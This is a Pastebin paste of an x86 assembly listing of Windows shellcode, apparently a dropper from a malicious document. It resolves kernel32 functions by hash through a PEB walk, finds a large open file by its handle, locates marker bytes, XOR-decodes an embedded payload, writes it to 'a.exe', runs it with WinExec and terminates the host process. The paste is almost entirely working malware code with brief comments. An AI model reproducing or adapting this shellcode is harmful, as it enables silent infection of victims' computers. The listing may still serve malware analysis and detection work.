Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- mov eax, large fs:30h
- mov eax, [eax+0Ch]
- mov esi, [eax+1Ch]
- lodsd
- mov esi, [eax+8] ; Get KernelBase,(such method didnt works on win7)
- jmp loc_401274
- sub_401037 proc near
- pop eax
- sub esp, 200h
- mov edi, esp
- mov [edi+8], esi
- mov [edi+10h], eax ; offset of ea.exe
- nop
- push dword ptr [edi+8]
- push 0C0397ECh
- call get_fn_by_hash
- mov [edi+1Ch], eax ; kernel32.GlobalAlloc
- push dword ptr [edi+8]
- push 7CB922F6h
- call get_fn_by_hash
- mov [edi+20h], eax ; kernel32.GlobalFree
- push dword ptr [edi+8]
- push 7C0017A5h
- call get_fn_by_hash
- mov [edi+24h], eax ; kernel32.CreateFileA
- push dword ptr [edi+8]
- push 0FFD97FBh
- call get_fn_by_hash
- mov [edi+28h], eax ; kernel32.CloseHandle
- push dword ptr [edi+8]
- push 10FA6516h
- call get_fn_by_hash
- mov [edi+2Ch], eax ; kernel32.ReadFile
- push dword ptr [edi+8]
- push 0E80A791Fh
- call get_fn_by_hash
- mov [edi+30h], eax ; kernel32.WriteFile
- push dword ptr [edi+8]
- push 0C2FFB025h
- call get_fn_by_hash
- mov [edi+34h], eax ; kernel32.DeleteFile
- push dword ptr [edi+8]
- push 76DA08ACh
- call get_fn_by_hash
- mov [edi+38h], eax ; kernel32.SetFilePointer
- push dword ptr [edi+8]
- push 0E8AFE98h
- call get_fn_by_hash
- mov [edi+3Ch], eax ; kernel32.WinExec
- push dword ptr [edi+8]
- push 78B5B983h
- call get_fn_by_hash
- mov [edi+40h], eax ; kernel32.TerminateProcess
- push dword ptr [edi+8]
- push 7B8F17E6h
- call get_fn_by_hash
- mov [edi+44h], eax ; kernel32.GetCurrentProcess
- push dword ptr [edi+8]
- push 0DF7D9BADh
- call get_fn_by_hash
- mov [edi+48h], eax ; kernel32.GetFileSize
- push dword ptr [edi+10h]
- call dword ptr [edi+34h] ; call DeleteFileA(a.exe)
- xor esi, esi
- loc_40110F:
- inc esi ; check open handles which size greater then 65536 bytes
- lea eax, [edi+60h]
- push eax
- push esi
- call dword ptr [edi+48h] ; call GetFileSize
- cmp eax, 0FFFFFFFFh
- jz short loc_40110F
- cmp eax, 10000h
- jbe short loc_40110F
- mov [edi+4], eax
- mov [edi+60h], esi
- push dword ptr [edi+4]
- push 40h
- call dword ptr [edi+1Ch] ; GlobalAlloc(FileSize)
- mov [edi+5Ch], eax
- push 0
- push 0
- push 0
- push dword ptr [edi+60h]
- call dword ptr [edi+38h] ; SetFilePointer to begin of file
- cmp eax, 0FFFFFFFFh
- jz short loc_401191
- push 0
- lea ebx, [edi+70h]
- push ebx
- push dword ptr [edi+4]
- push dword ptr [edi+5Ch]
- push dword ptr [edi+60h]
- call dword ptr [edi+2Ch] ; ReadFile
- mov ecx, [edi+70h]
- sub ecx, 10h
- mov eax, [edi+5Ch]
- loc_401161:
- inc eax
- cmp dword ptr [eax], 47422E43h
- jnz short loc_401173
- cmp dword ptr [eax+4], 19890604h ; Find in File 43 2E 42 47 04 06 89 19
- jz short loc_401177
- loc_401173:
- loop loc_401161
- jmp short loc_401191
- ; ---------------------------------------------------------------------------
- loc_401177:
- add eax, 8
- mov [edi+14h], eax
- loc_40117D:
- inc eax
- cmp dword ptr [eax], 4B635546h
- jnz short loc_40118F
- cmp dword ptr [eax+4], 19820424h
- jz short loc_40119D
- loc_40118F:
- loop loc_40117D
- loc_401191:
- push dword ptr [edi+5Ch]
- call dword ptr [edi+20h]
- jnz loc_40110F
- loc_40119D:
- add eax, 8
- mov [edi+18h], eax
- push 0
- push 80h
- push 2
- push 0
- push 0
- push 40000000h
- push dword ptr [edi+10h]
- call dword ptr [edi+24h] ; CreateFile
- mov [edi+64h], eax
- mov dword ptr [edi+6Ch], 905A4Dh
- push 0
- lea ebx, [edi+70h]
- push ebx
- push 4
- lea ebx, [edi+6Ch]
- push ebx
- push dword ptr [edi+64h]
- call dword ptr [edi+30h] ; WriteFile('MZxx')
- mov eax, [edi+18h]
- sub eax, [edi+14h]
- sub eax, 8
- mov ebx, [edi+14h]
- loc_4011E3:
- xor [ebx], al
- inc ebx
- dec eax
- inc ebx
- dec eax
- cmp eax, 0
- jnz short loc_4011E3
- push 0
- lea ebx, [edi+70h]
- push ebx
- mov ebx, [edi+18h]
- sub ebx, [edi+14h]
- sub ebx, 8
- push ebx
- push dword ptr [edi+14h]
- push dword ptr [edi+64h]
- call dword ptr [edi+30h]
- push dword ptr [edi+64h]
- call dword ptr [edi+28h]
- push 0
- push dword ptr [edi+10h]
- call dword ptr [edi+3Ch]
- push 0
- call dword ptr [edi+44h] ; GetCurrentProcess
- push 0
- push eax
- call dword ptr [edi+40h] ; TerminateProcess
- sub_401037 endp
- ; =============== S U B R O U T I N E =======================================
- get_fn_by_hash proc near
- arg_0 = dword ptr 8
- arg_4 = dword ptr 0Ch
- push ebp
- mov ebp, esp
- push edi
- mov edi, [ebp+arg_0]
- mov ebx, [ebp+arg_4]
- push esi
- mov esi, [ebx+3Ch]
- mov esi, [ebx+esi+78h]
- add esi, ebx
- push esi
- mov esi, [esi+20h]
- add esi, ebx
- xor ecx, ecx
- dec ecx
- loc_40123D:
- inc ecx
- lodsd
- add eax, ebx
- push esi
- xor esi, esi
- loc_401244:
- movsx edx, byte ptr [eax]
- cmp dh, dl
- jz short loc_401253
- ror esi, 0Dh
- add esi, edx
- inc eax
- jmp short loc_401244
- loc_401253:
- cmp edi, esi
- pop esi
- jnz short loc_40123D
- pop edx
- mov ebp, ebx
- mov ebx, [edx+24h]
- add ebx, ebp
- mov cx, [ebx+ecx*2]
- mov ebx, [edx+1Ch]
- add ebx, ebp
- mov eax, [ebx+ecx*4]
- add eax, ebp
- pop esi
- pop edi
- pop ebp
- retn 8
- get_fn_by_hash endp
- loc_401274:
- call sub_401037
- ; ---------------------------------------------------------------------------
- aA_exe db 'a.exe',0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
